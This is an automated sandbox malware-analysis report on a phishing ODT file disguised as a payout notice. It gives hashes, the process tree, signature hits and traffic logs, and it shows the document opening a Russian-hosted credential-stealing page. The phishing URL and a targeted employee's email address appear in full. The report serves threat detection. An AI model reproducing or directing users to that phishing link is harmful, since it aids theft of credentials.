Edit tour

Windows Analysis Report
Airbornemx_PAYOUT7370.odt

Overview

General Information

Sample name:	Airbornemx_PAYOUT7370.odt
Analysis ID:	1585363
MD5:	1ea6fa3414bbcd946373de4b9e8c5c94
SHA1:	4ef9fe4d5ff1e7c45349b49f6570d0965cdc4527
SHA256:	0d194e588eb9bb944cbaeb8179c4326eaac96b835fc00616ed3c676aad446a6d
Infos:

Detection

Score:	56
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

AI detected landing page (webpage, office document or email)

AI detected suspicious Javascript

Detected non-DNS traffic on DNS port

HTML body contains low number of good links

HTML page contains hidden javascript code

HTML title does not match URL

IP address seen in connection with other malware

Stores files to the Windows start menu directory

Classification

Process Tree

System is w10x64_ra

WINWORD.EXE (PID: 1092 cmdline: "C:\Program Files (x86)\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\user\Desktop\Airbornemx_PAYOUT7370.odt" MD5: 1A0C2C2E7D9C4BC18E91604E9B0C7678)

chrome.exe (PID: 6448 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://oe3.welialicha.ru/xffUffYo/#Ktom.walker@airbornemx.com MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 4992 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2216 --field-trial-handle=1944,i,4028111048083662025,7617225980983569165,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://oe3.welialicha.ru/xffUffYo/#Ktom.walker@airbornemx.com

SlashNext: Label: Credential Stealing type: Phishing & Social Engineering

Phishing

AI detected landing page (webpage, office document or email)

Source: Office document	Joe Sandbox AI: Page contains button: 'VIEW PAYOUT' Source: 'Office document'
Source: Office document	Joe Sandbox AI: Office document contains prominent button: 'view payout'
Source: Screenshot id: 6	Joe Sandbox AI: Page contains button: 'VIEW PAYOUT' Source: 'Screenshot id: 6'
Source: Screenshot id: 6	Joe Sandbox AI: Screenshot id: 6 contains prominent button: 'view payout'
Source: Screenshot id: 2	Joe Sandbox AI: Page contains button: 'VIEW PAYOUT' Source: 'Screenshot id: 2'
Source: Screenshot id: 2	Joe Sandbox AI: Screenshot id: 2 contains prominent button: 'view payout'
Source: Screenshot id: 8	Joe Sandbox AI: Page contains button: 'VIEW PAYOUT' Source: 'Screenshot id: 8'
Source: Screenshot id: 8	Joe Sandbox AI: Screenshot id: 8 contains prominent button: 'view payout'
Source: Screenshot id: 5	Joe Sandbox AI: Page contains button: 'VIEW PAYOUT' Source: 'Screenshot id: 5'
Source: Screenshot id: 5	Joe Sandbox AI: Screenshot id: 5 contains prominent button: 'view payout'
Source: Screenshot id: 3	Joe Sandbox AI: Page contains button: 'VIEW PAYOUT' Source: 'Screenshot id: 3'
Source: Screenshot id: 3	Joe Sandbox AI: Screenshot id: 3 contains prominent button: 'view payout'
Source: Screenshot id: 7	Joe Sandbox AI: Page contains button: 'VIEW PAYOUT' Source: 'Screenshot id: 7'
Source: Screenshot id: 7	Joe Sandbox AI: Screenshot id: 7 contains prominent button: 'view payout'
Source: Screenshot id: 9	Joe Sandbox AI: Page contains button: 'VIEW PAYOUT' Source: 'Screenshot id: 9'
Source: Screenshot id: 9	Joe Sandbox AI: Screenshot id: 9 contains prominent button: 'view payout'
Source: Screenshot id: 10	Joe Sandbox AI: Page contains button: 'VIEW PAYOUT' Source: 'Screenshot id: 10'
Source: Screenshot id: 10	Joe Sandbox AI: Screenshot id: 10 contains prominent button: 'view payout'
Source: Screenshot id: 4	Joe Sandbox AI: Page contains button: 'VIEW PAYOUT' Source: 'Screenshot id: 4'
Source: Screenshot id: 4	Joe Sandbox AI: Screenshot id: 4 contains prominent button: 'view payout'

AI detected suspicious Javascript

Source: 0.2.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://oe3.welialicha.ru/xffUffYo/#Ktom.walker@ai... This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and redirects to suspicious domains. The script collects user data and sends it to an unknown domain, and it also redirects the user to a Microsoft login page, which is likely a phishing attempt. The overall behavior of this script is highly suspicious and indicative of malicious intent.
Source: 0.1.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://oe3.welialicha.ru/xffUffYo/#Ktom.walker@ai... This script exhibits several high-risk behaviors, including detecting the presence of web automation tools, disabling common keyboard shortcuts, and redirecting the user to a suspicious domain. The script also includes a self-executing function that triggers a debugger and then redirects the user, which is a strong indicator of malicious intent.
Source: 0.0.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://oe3.welialicha.ru/xffUffYo/#Ktom.walker@ai... The provided JavaScript snippet exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and obfuscated code/URLs. While the intent of the script is not entirely clear, the combination of these factors suggests a potentially malicious nature. Further investigation would be warranted to determine the full scope and purpose of this script.

Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638718563183389446.ZjAyNjIzMTMtNmU0YS00M2QyLTgwNjktNTNhZjAzNDY3NjM2M2Q0ODZiMDgtZjUxZi00YjQ0LWI3YjUtZjc4Mzg3MTJkZmU1&ui_locales=en-US&mkt=en-US&client-request-id=adcaaf7d-be47-4d4f-8eb4-64b75bf6f377&state=KP5iZRhR5Qbi6PzixM9mxYBAb2o56h94xssyQYOvX4Ady6Tr_-qir0trS7WWUfAoaSeJnISM2zBNLJWP2GOzo8xrTUmtmznUHfzjibT5jf8dYxkrFz0bCkhbPHvUtUIJjIJKF1LHYqrU0vLmtKtz2EeaAtfRXj7daIYrAMFEI9nXtERKOCjI1WoSSP7fh13Xfs-r43ENlDdIlWCN6iSxJpLcRx7qrPTvvwWxdsaPteHra4sAq7W3DhAIXjhKzYu35SZn1Q10d0RL4ic5aJGMRA&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0	HTTP Parser: Number of links: 0
Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638718563183389446.ZjAyNjIzMTMtNmU0YS00M2QyLTgwNjktNTNhZjAzNDY3NjM2M2Q0ODZiMDgtZjUxZi00YjQ0LWI3YjUtZjc4Mzg3MTJkZmU1&ui_locales=en-US&mkt=en-US&client-request-id=adcaaf7d-be47-4d4f-8eb4-64b75bf6f377&state=KP5iZRhR5Qbi6PzixM9mxYBAb2o56h94xssyQYOvX4Ady6Tr_-qir0trS7WWUfAoaSeJnISM2zBNLJWP2GOzo8xrTUmtmznUHfzjibT5jf8dYxkrFz0bCkhbPHvUtUIJjIJKF1LHYqrU0vLmtKtz2EeaAtfRXj7daIYrAMFEI9nXtERKOCjI1WoSSP7fh13Xfs-r43ENlDdIlWCN6iSxJpLcRx7qrPTvvwWxdsaPteHra4sAq7W3DhAIXjhKzYu35SZn1Q10d0RL4ic5aJGMRA&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	HTTP Parser: Number of links: 0

Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638718563183389446.ZjAyNjIzMTMtNmU0YS00M2QyLTgwNjktNTNhZjAzNDY3NjM2M2Q0ODZiMDgtZjUxZi00YjQ0LWI3YjUtZjc4Mzg3MTJkZmU1&ui_locales=en-US&mkt=en-US&client-request-id=adcaaf7d-be47-4d4f-8eb4-64b75bf6f377&state=KP5iZRhR5Qbi6PzixM9mxYBAb2o56h94xssyQYOvX4Ady6Tr_-qir0trS7WWUfAoaSeJnISM2zBNLJWP2GOzo8xrTUmtmznUHfzjibT5jf8dYxkrFz0bCkhbPHvUtUIJjIJKF1LHYqrU0vLmtKtz2EeaAtfRXj7daIYrAMFEI9nXtERKOCjI1WoSSP7fh13Xfs-r43ENlDdIlWCN6iSxJpLcRx7qrPTvvwWxdsaPteHra4sAq7W3DhAIXjhKzYu35SZn1Q10d0RL4ic5aJGMRA&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0

HTTP Parser: Base64 decoded: f0262313-6e4a-43d2-8069-53af034676363d486b08-f51f-4b44-b7b5-f7838712dfe5

Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638718563183389446.ZjAyNjIzMTMtNmU0YS00M2QyLTgwNjktNTNhZjAzNDY3NjM2M2Q0ODZiMDgtZjUxZi00YjQ0LWI3YjUtZjc4Mzg3MTJkZmU1&ui_locales=en-US&mkt=en-US&client-request-id=adcaaf7d-be47-4d4f-8eb4-64b75bf6f377&state=KP5iZRhR5Qbi6PzixM9mxYBAb2o56h94xssyQYOvX4Ady6Tr_-qir0trS7WWUfAoaSeJnISM2zBNLJWP2GOzo8xrTUmtmznUHfzjibT5jf8dYxkrFz0bCkhbPHvUtUIJjIJKF1LHYqrU0vLmtKtz2EeaAtfRXj7daIYrAMFEI9nXtERKOCjI1WoSSP7fh13Xfs-r43ENlDdIlWCN6iSxJpLcRx7qrPTvvwWxdsaPteHra4sAq7W3DhAIXjhKzYu35SZn1Q10d0RL4ic5aJGMRA&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0	HTTP Parser: Title: Redirecting does not match URL
Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638718563183389446.ZjAyNjIzMTMtNmU0YS00M2QyLTgwNjktNTNhZjAzNDY3NjM2M2Q0ODZiMDgtZjUxZi00YjQ0LWI3YjUtZjc4Mzg3MTJkZmU1&ui_locales=en-US&mkt=en-US&client-request-id=adcaaf7d-be47-4d4f-8eb4-64b75bf6f377&state=KP5iZRhR5Qbi6PzixM9mxYBAb2o56h94xssyQYOvX4Ady6Tr_-qir0trS7WWUfAoaSeJnISM2zBNLJWP2GOzo8xrTUmtmznUHfzjibT5jf8dYxkrFz0bCkhbPHvUtUIJjIJKF1LHYqrU0vLmtKtz2EeaAtfRXj7daIYrAMFEI9nXtERKOCjI1WoSSP7fh13Xfs-r43ENlDdIlWCN6iSxJpLcRx7qrPTvvwWxdsaPteHra4sAq7W3DhAIXjhKzYu35SZn1Q10d0RL4ic5aJGMRA&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	HTTP Parser: Title: Sign in to your account does not match URL

HTTP Parser: <input type="password" .../> found

Source: https://oe3.welialicha.ru/xffUffYo/#Ktom.walker@airbornemx.com	HTTP Parser: No favicon
Source: https://oe3.welialicha.ru/xffUffYo/#Ktom.walker@airbornemx.com	HTTP Parser: No favicon
Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638718563183389446.ZjAyNjIzMTMtNmU0YS00M2QyLTgwNjktNTNhZjAzNDY3NjM2M2Q0ODZiMDgtZjUxZi00YjQ0LWI3YjUtZjc4Mzg3MTJkZmU1&ui_locales=en-US&mkt=en-US&client-request-id=adcaaf7d-be47-4d4f-8eb4-64b75bf6f377&state=KP5iZRhR5Qbi6PzixM9mxYBAb2o56h94xssyQYOvX4Ady6Tr_-qir0trS7WWUfAoaSeJnISM2zBNLJWP2GOzo8xrTUmtmznUHfzjibT5jf8dYxkrFz0bCkhbPHvUtUIJjIJKF1LHYqrU0vLmtKtz2EeaAtfRXj7daIYrAMFEI9nXtERKOCjI1WoSSP7fh13Xfs-r43ENlDdIlWCN6iSxJpLcRx7qrPTvvwWxdsaPteHra4sAq7W3DhAIXjhKzYu35SZn1Q10d0RL4ic5aJGMRA&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0	HTTP Parser: No favicon

Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638718563183389446.ZjAyNjIzMTMtNmU0YS00M2QyLTgwNjktNTNhZjAzNDY3NjM2M2Q0ODZiMDgtZjUxZi00YjQ0LWI3YjUtZjc4Mzg3MTJkZmU1&ui_locales=en-US&mkt=en-US&client-request-id=adcaaf7d-be47-4d4f-8eb4-64b75bf6f377&state=KP5iZRhR5Qbi6PzixM9mxYBAb2o56h94xssyQYOvX4Ady6Tr_-qir0trS7WWUfAoaSeJnISM2zBNLJWP2GOzo8xrTUmtmznUHfzjibT5jf8dYxkrFz0bCkhbPHvUtUIJjIJKF1LHYqrU0vLmtKtz2EeaAtfRXj7daIYrAMFEI9nXtERKOCjI1WoSSP7fh13Xfs-r43ENlDdIlWCN6iSxJpLcRx7qrPTvvwWxdsaPteHra4sAq7W3DhAIXjhKzYu35SZn1Q10d0RL4ic5aJGMRA&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0	HTTP Parser: No <meta name="author".. found
Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638718563183389446.ZjAyNjIzMTMtNmU0YS00M2QyLTgwNjktNTNhZjAzNDY3NjM2M2Q0ODZiMDgtZjUxZi00YjQ0LWI3YjUtZjc4Mzg3MTJkZmU1&ui_locales=en-US&mkt=en-US&client-request-id=adcaaf7d-be47-4d4f-8eb4-64b75bf6f377&state=KP5iZRhR5Qbi6PzixM9mxYBAb2o56h94xssyQYOvX4Ady6Tr_-qir0trS7WWUfAoaSeJnISM2zBNLJWP2GOzo8xrTUmtmznUHfzjibT5jf8dYxkrFz0bCkhbPHvUtUIJjIJKF1LHYqrU0vLmtKtz2EeaAtfRXj7daIYrAMFEI9nXtERKOCjI1WoSSP7fh13Xfs-r43ENlDdIlWCN6iSxJpLcRx7qrPTvvwWxdsaPteHra4sAq7W3DhAIXjhKzYu35SZn1Q10d0RL4ic5aJGMRA&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	HTTP Parser: No <meta name="author".. found
Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638718563183389446.ZjAyNjIzMTMtNmU0YS00M2QyLTgwNjktNTNhZjAzNDY3NjM2M2Q0ODZiMDgtZjUxZi00YjQ0LWI3YjUtZjc4Mzg3MTJkZmU1&ui_locales=en-US&mkt=en-US&client-request-id=adcaaf7d-be47-4d4f-8eb4-64b75bf6f377&state=KP5iZRhR5Qbi6PzixM9mxYBAb2o56h94xssyQYOvX4Ady6Tr_-qir0trS7WWUfAoaSeJnISM2zBNLJWP2GOzo8xrTUmtmznUHfzjibT5jf8dYxkrFz0bCkhbPHvUtUIJjIJKF1LHYqrU0vLmtKtz2EeaAtfRXj7daIYrAMFEI9nXtERKOCjI1WoSSP7fh13Xfs-r43ENlDdIlWCN6iSxJpLcRx7qrPTvvwWxdsaPteHra4sAq7W3DhAIXjhKzYu35SZn1Q10d0RL4ic5aJGMRA&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	HTTP Parser: No <meta name="author".. found
Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638718563183389446.ZjAyNjIzMTMtNmU0YS00M2QyLTgwNjktNTNhZjAzNDY3NjM2M2Q0ODZiMDgtZjUxZi00YjQ0LWI3YjUtZjc4Mzg3MTJkZmU1&ui_locales=en-US&mkt=en-US&client-request-id=adcaaf7d-be47-4d4f-8eb4-64b75bf6f377&state=KP5iZRhR5Qbi6PzixM9mxYBAb2o56h94xssyQYOvX4Ady6Tr_-qir0trS7WWUfAoaSeJnISM2zBNLJWP2GOzo8xrTUmtmznUHfzjibT5jf8dYxkrFz0bCkhbPHvUtUIJjIJKF1LHYqrU0vLmtKtz2EeaAtfRXj7daIYrAMFEI9nXtERKOCjI1WoSSP7fh13Xfs-r43ENlDdIlWCN6iSxJpLcRx7qrPTvvwWxdsaPteHra4sAq7W3DhAIXjhKzYu35SZn1Q10d0RL4ic5aJGMRA&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	HTTP Parser: No <meta name="author".. found

Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638718563183389446.ZjAyNjIzMTMtNmU0YS00M2QyLTgwNjktNTNhZjAzNDY3NjM2M2Q0ODZiMDgtZjUxZi00YjQ0LWI3YjUtZjc4Mzg3MTJkZmU1&ui_locales=en-US&mkt=en-US&client-request-id=adcaaf7d-be47-4d4f-8eb4-64b75bf6f377&state=KP5iZRhR5Qbi6PzixM9mxYBAb2o56h94xssyQYOvX4Ady6Tr_-qir0trS7WWUfAoaSeJnISM2zBNLJWP2GOzo8xrTUmtmznUHfzjibT5jf8dYxkrFz0bCkhbPHvUtUIJjIJKF1LHYqrU0vLmtKtz2EeaAtfRXj7daIYrAMFEI9nXtERKOCjI1WoSSP7fh13Xfs-r43ENlDdIlWCN6iSxJpLcRx7qrPTvvwWxdsaPteHra4sAq7W3DhAIXjhKzYu35SZn1Q10d0RL4ic5aJGMRA&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0	HTTP Parser: No <meta name="copyright".. found
Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638718563183389446.ZjAyNjIzMTMtNmU0YS00M2QyLTgwNjktNTNhZjAzNDY3NjM2M2Q0ODZiMDgtZjUxZi00YjQ0LWI3YjUtZjc4Mzg3MTJkZmU1&ui_locales=en-US&mkt=en-US&client-request-id=adcaaf7d-be47-4d4f-8eb4-64b75bf6f377&state=KP5iZRhR5Qbi6PzixM9mxYBAb2o56h94xssyQYOvX4Ady6Tr_-qir0trS7WWUfAoaSeJnISM2zBNLJWP2GOzo8xrTUmtmznUHfzjibT5jf8dYxkrFz0bCkhbPHvUtUIJjIJKF1LHYqrU0vLmtKtz2EeaAtfRXj7daIYrAMFEI9nXtERKOCjI1WoSSP7fh13Xfs-r43ENlDdIlWCN6iSxJpLcRx7qrPTvvwWxdsaPteHra4sAq7W3DhAIXjhKzYu35SZn1Q10d0RL4ic5aJGMRA&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	HTTP Parser: No <meta name="copyright".. found
Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638718563183389446.ZjAyNjIzMTMtNmU0YS00M2QyLTgwNjktNTNhZjAzNDY3NjM2M2Q0ODZiMDgtZjUxZi00YjQ0LWI3YjUtZjc4Mzg3MTJkZmU1&ui_locales=en-US&mkt=en-US&client-request-id=adcaaf7d-be47-4d4f-8eb4-64b75bf6f377&state=KP5iZRhR5Qbi6PzixM9mxYBAb2o56h94xssyQYOvX4Ady6Tr_-qir0trS7WWUfAoaSeJnISM2zBNLJWP2GOzo8xrTUmtmznUHfzjibT5jf8dYxkrFz0bCkhbPHvUtUIJjIJKF1LHYqrU0vLmtKtz2EeaAtfRXj7daIYrAMFEI9nXtERKOCjI1WoSSP7fh13Xfs-r43ENlDdIlWCN6iSxJpLcRx7qrPTvvwWxdsaPteHra4sAq7W3DhAIXjhKzYu35SZn1Q10d0RL4ic5aJGMRA&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	HTTP Parser: No <meta name="copyright".. found
Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638718563183389446.ZjAyNjIzMTMtNmU0YS00M2QyLTgwNjktNTNhZjAzNDY3NjM2M2Q0ODZiMDgtZjUxZi00YjQ0LWI3YjUtZjc4Mzg3MTJkZmU1&ui_locales=en-US&mkt=en-US&client-request-id=adcaaf7d-be47-4d4f-8eb4-64b75bf6f377&state=KP5iZRhR5Qbi6PzixM9mxYBAb2o56h94xssyQYOvX4Ady6Tr_-qir0trS7WWUfAoaSeJnISM2zBNLJWP2GOzo8xrTUmtmznUHfzjibT5jf8dYxkrFz0bCkhbPHvUtUIJjIJKF1LHYqrU0vLmtKtz2EeaAtfRXj7daIYrAMFEI9nXtERKOCjI1WoSSP7fh13Xfs-r43ENlDdIlWCN6iSxJpLcRx7qrPTvvwWxdsaPteHra4sAq7W3DhAIXjhKzYu35SZn1Q10d0RL4ic5aJGMRA&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	HTTP Parser: No <meta name="copyright".. found

Source: global traffic

TCP traffic: 192.168.2.16:49799 -> 1.1.1.1:53

Source: Joe Sandbox View	IP Address: 104.18.94.41 104.18.94.41
Source: Joe Sandbox View	IP Address: 151.101.66.137 151.101.66.137
Source: Joe Sandbox View	IP Address: 151.101.66.137 151.101.66.137
Source: Joe Sandbox View	IP Address: 104.18.95.41 104.18.95.41

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /xffUffYo/ HTTP/1.1Host: oe3.welialicha.ruConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/api.js?render=explicit HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://oe3.welialicha.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://oe3.welialicha.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
